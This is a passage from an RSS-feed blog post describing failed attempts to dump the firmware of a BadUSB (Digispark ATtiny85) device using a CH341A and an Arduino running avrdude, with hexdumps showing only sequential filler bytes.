<span id="cb3-20">00001fc0: e0e0 e1e1 e2e2 e3e3 e4e4 e5c9 e6e6 e7e7  ................</span>
<span id="cb3-21">00001fd0: e8e8 e9e9 eaea d6eb ecec eded eedc efef  ................</span>
<span id="cb3-22">00001fe0: f0f0 f1f1 f2f2 f3f3 f4f4 f5f5 f6f6 f7f7  ................</span>
<span id="cb3-23">00001ff0: f8f8 f9f9 fafa fbfb f8ff fdff feff ffff  ................</span></code></pre></div></div>
<p>I even tried to solder a permanent programmer rig like the one in the article. Sorry for the poor soldering skills.</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/programmer_rig.jpg" title="Custom ATtiny programmer rig" class="img-fluid"></p>
<p>But I obtained the same results.</p>
<p>I also tried another tool, <a href="https://github.com/avrdudes/avrdude">avrdude</a>, a very popular program for downloading and uploading the on-chip memories of AVR microcontrollers.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb4-1">sudo avrdude -v -c ch341a -p t85 -B 8MHz -U flash:r:dump_avrdude.bin</span></code></pre></div></div>
<p>Some bits were off, but it was almost the same result. What am I doing wrong?</p>
</section>
<section id="second-attempt-arduino" class="level3">
<h3 class="anchored" data-anchor-id="second-attempt-arduino">Second attempt: Arduino</h3>
<p>Several weeks later, with renewed energy, I tried again using an Arduino UNO R3. That should have been my first choice instead of the CH341A, as it’s easier, better documented, more standard, and more reliable.</p>
<p>First, we have to turn the Arduino into an in-circuit programmer using the Arduino ISP bootloader. The <a href="https://docs.arduino.cc/built-in-examples/arduino-isp/ArduinoISP/">official documentation</a> is excellent, and there’s nothing more to add here. Just follow the instructions.</p>
<p>According to the <a href="https://www.arduino.cc/reference/en/language/functions/communication/spi/">Arduino reference</a>, the SPI pins are 10 (SS/CS), 11 (COPI/MOSI), 12 (CIPO/MISO), and 13 (SCK).</p>
<p><a href="https://docs.arduino.cc/resources/pinouts/A000066-full-pinout.pdf"><img src="https://0xlibris.net/posts/reversing_badusb_1/img/arduino_uno_r3_pinout.jpg" title="Arduino UNO R3 pinout" class="img-fluid"></a></p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>I found that MISO/MOSI are now referred to as CIPO/COPI. Great initiative! <a href="https://www.oshwa.org/a-resolution-to-redefine-spi-signal-names/">A Resolution to Redefine SPI Signal Names</a></p>
</div>
</div>
<p>Connecting the board…</p>
<p><img src="https://0xlibris.net/posts/reversing_badusb_1/img/second_try_arduino.jpg" title="Second attempt using the Arduino board" class="img-fluid"></p>
<p>…and reading with <code>avrdude</code></p>
<p>Checking at the fuse values again:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb5-1">$ sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h -U lock:r:-:h</span></code></pre></div></div>
<p>And dumping the memory:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb6-1">$ sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:r:dump_arduino.bin</span>
<span id="cb6-2">...</span>
<span id="cb6-3">avrdude: AVR device initialized and ready to accept instructions</span>
<span id="cb6-4">avrdude: device signature = 0x1e930b (probably t85)</span>
<span id="cb6-5"></span>
<span id="cb6-6">avrdude: processing -U flash:r:dump_arduino.bin:r</span>
<span id="cb6-7">avrdude: reading flash memory ...</span>
<span id="cb6-8">Reading | ################################################## | 100% 5.77 s </span>
<span id="cb6-9">avrdude: writing output file dump_arduino.bin</span></code></pre></div></div>
<p>But once again, I still got the same similar results.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb7-1">$ xxd dump_arduino.bin</span>
<span id="cb7-2">00000000: ffff ffff ffff ffff ffff ffff ffff ffff  ................</span>
<span id="cb7-3">00000010: ffff ffff ffff ffff ffff 0d0d 0e0e 0f0f  ................</span>
<span id="cb7-4">00000020: 1010 1111 1212 1313 1414 1515 1616 1717  ................</span>
<span id="cb7-5">00000030: 1818 1919 1a1a 1b1b 1c1c 1d1d 1e1e 1f1f  ................</span>
<span id="cb7-6">00000040: 2020 2121 2222 2323 2424 2525 2626 2727    !!""##$$%%&amp;&amp;''</span>
<span id="cb7-7">00000050: 2828 2929 2a2a 2b2b 2c2c 2d2d 2e2e 2f2f  (())**++,,--..//</span>
<span id="cb7-8">00000060: 3030 3131 3232 3333 3434 3535 3636 3737  0011223344556677</span>
<span id="cb7-9">00000070: 3838 3939 3a3a 3b3b 3c3c 3d3d 3e3e 3f3f  8899::;;&lt;&lt;==&gt;&gt;??</span>
<span id="cb7-10">00000080: 4040 4141 4242 4343 4444 4545 4646 4747  @@AABBCCDDEEFFGG</span>
<span id="cb7-11">00000090: 4848 4949 4a4a 4b4b 4c4c 4d4d 4e4e 4f4f  HHIIJJKKLLMMNNOO</span>
<span id="cb7-12">000000a0: 5050 5151 5252 5353 5454 5555 5656 5757  PPQQRRSSTTUUVVWW</span>
<span id="cb7-13">000000b0: 5858 5959 5a5a 5b5b 5c5c 5d5d 5e5e 5f5f  XXYYZZ[[\\]]^^__</span>
<span id="cb7-14">000000c0: 6060 6161 6262 6363 6464 6565 6666 6767  ``aabbccddeeffgg</span>
<span id="cb7-15">000000d0: 6868 6969 6a6a 6b6b 6c6c 6d6d 6e6e 6f6f  hhiijjkkllmmnnoo</span>
<span id="cb7-16">000000e0: 7070 7171 7272 7373 7474 7575 7676 7777  ppqqrrssttuuvvww</span>
<span id="cb7-17">000000f0: 7878 7979 7a7a 7b7b 7c7c 7d7d 7e7e 7f7f  xxyyzz{{||}}~~..</span>
<span id="cb7-18">00000100: 8080 8181 8282 8383 8484 8585 8686 8787  ................</span>
<span id="cb7-19">00000110: 8888 8989 8a8a 8b8b 8c8c 8d8d 8e8e 8f8f  ................</span>
<span id="cb7-20">00000120: 9090 9191 9292 9393 9494 9595 9696 9797  ................</span>
<span id="cb7-21">00000130: 9898 9999 9a9a 9b9b 9c9c 9d9d 9e9e 9f9f  ................</span>
<span id="cb7-22">...</span></code></pre></div></div>
</section>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion (?)</h2>
<p>Final conclusion: disappointment.</p>
<p>After failing miserably so many times, I finally gave up.</p>
<p>My main hypothesis is that the sequential data in the hexdumps might be a leftover from production tests, but I am not sure at all and couldn’t find anything related to that.</p>
<p>So, in the end, with a lot of frustration, I decided to forget about the original data and try something myself. But it’s better to explain that in another post…</p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>reversing</category>
  <category>hardware</category>
  <category>badusb</category>
  <category>digispark</category>
  <category>attiny85</category>
  <category>avr</category>
  <guid>https://0xlibris.net/posts/reversing_badusb_1/</guid>
  <pubDate>Mon, 08 Jul 2024 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/reversing_badusb_1/img/badusb_meme.jpg" medium="image" type="image/jpeg"/>
</item>
</channel>
</rss>
